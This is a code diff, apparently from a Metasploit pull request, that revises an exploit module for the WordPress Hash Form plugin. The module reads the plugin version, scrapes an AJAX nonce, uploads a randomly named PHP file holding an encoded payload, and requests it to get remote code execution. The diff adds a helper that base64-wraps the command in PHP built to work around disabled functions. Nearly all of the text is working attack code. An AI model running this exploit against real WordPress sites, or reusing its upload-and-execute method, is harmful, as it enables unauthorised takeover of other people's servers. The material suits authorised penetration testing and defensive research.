6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
7
Rank = ExcellentRanking
8
8
9
+ include Msf ::Payload ::Php
9
10
include Msf ::Exploit ::Remote ::HttpClient
10
11
include Msf ::Exploit ::Remote ::HTTP ::Wordpress
12
+
11
13
prepend Msf ::Exploit ::Remote ::AutoCheck
12
14
13
15
def initialize ( info = { } )
@@ -72,11 +74,15 @@ def check
72
74
return CheckCode ::Unknown ( 'WordPress does not appear to be online.' ) unless wordpress_and_online?
73
75
74
76
plugin_check_code = check_plugin_version_from_readme ( 'hash-form' , '1.1.1' )
75
- return CheckCode ::Unknown ( 'Hash Form plugin does not appear to be installed.' ) unless plugin_check_code
76
- return CheckCode ::Detected ( 'Hash Form plugin is installed but the version is unknown.' ) if plugin_check_code . code == 'detected'
77
+
78
+ if plugin_check_code . code == CheckCode ::Unknown . code
79
+ return CheckCode ::Unknown ( 'Hash Form plugin does not appear to be installed.' )
80
+ end
81
+
82
+ return CheckCode ::Detected ( 'Hash Form plugin is installed but the version is unknown.' ) if plugin_check_code . code == CheckCode ::Detected . code
77
83
78
84
plugin_version = plugin_check_code . details [ :version ]
79
- return CheckCode ::Safe ( "Hash Form plugin is version: #{ plugin_version } , which is not vulnerable." ) unless plugin_check_code . code == 'appears'
85
+ return CheckCode ::Safe ( "Hash Form plugin is version: #{ plugin_version } , which is not vulnerable." ) unless plugin_check_code . code == CheckCode :: Appears . code
80
86
81
87
print_good ( "Detected Hash Form plugin version: #{ plugin_version } " )
82
88
CheckCode ::Appears
@@ -111,15 +117,28 @@ def get_nonce
111
117
112
118
return nil unless res && res . code == 200
113
119
114
- script_content = res . body . match ( %r{< script id="frontend-js-extra"[^>]*>([ \s \S ]*?)</script>} )
115
- return nil unless script_content && script_content [ 1 ]
120
+ script_content = res . get_html_document . xpath ( '// script[@ id="frontend-js-extra"]' ) . text
121
+ return nil unless script_content
116
122
117
- nonce_match = script_content [ 1 ] . match ( /"ajax_nounce":"([a-f0-9]+)"/ )
123
+ nonce_match = script_content . match ( /"ajax_nounce":"([a-f0-9]+)"/ )
118
124
nonce_match ? nonce_match [ 1 ] : nil
119
125
end
120
126
127
+ def php_exec_cmd ( encoded_payload )
128
+ dis = '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ..7 ) )
129
+ encoded_clean_payload = Rex ::Text . encode_base64 ( encoded_payload )
130
+
131
+ shell = <<-END_OF_PHP_CODE
132
+ #{ php_preamble ( disabled_varname : dis ) }
133
+ $c = base64_decode("#{ encoded_clean_payload } ");
134
+ #{ php_system_block ( cmd_varname : '$c' , disabled_varname : dis ) }
135
+ END_OF_PHP_CODE
136
+
137
+ return Rex ::Text . compress ( shell )
138
+ end
139
+
121
140
def upload_php_file ( nonce )
122
- file_content = "<?php #{ target [ 'Arch' ] == ARCH_PHP ? payload . encoded : "system(base64_decode(' #{ Rex :: Text . encode_base64 ( payload . encoded ) } '));" } ?>"
141
+ file_content = target [ 'Arch' ] == ARCH_PHP ? payload . encoded : php_exec_cmd ( payload . encoded )
123
142
file_name = "#{ Rex ::Text . rand_text_alpha_lower ( 8 ) } .php"
124
143
125
144
res = send_request_cgi ( {
@@ -144,7 +163,7 @@ def upload_php_file(nonce)
144
163
end
145
164
146
165
def trigger_payload ( url )
147
- print_status ( " Triggering the payload at #{ url } ..." )
166
+ print_status ( ' Triggering the payload...' )
148
167
uri = URI . parse ( url )
149
168
send_request_cgi ( {
150
169
'method' => 'GET' ,
0 commit comments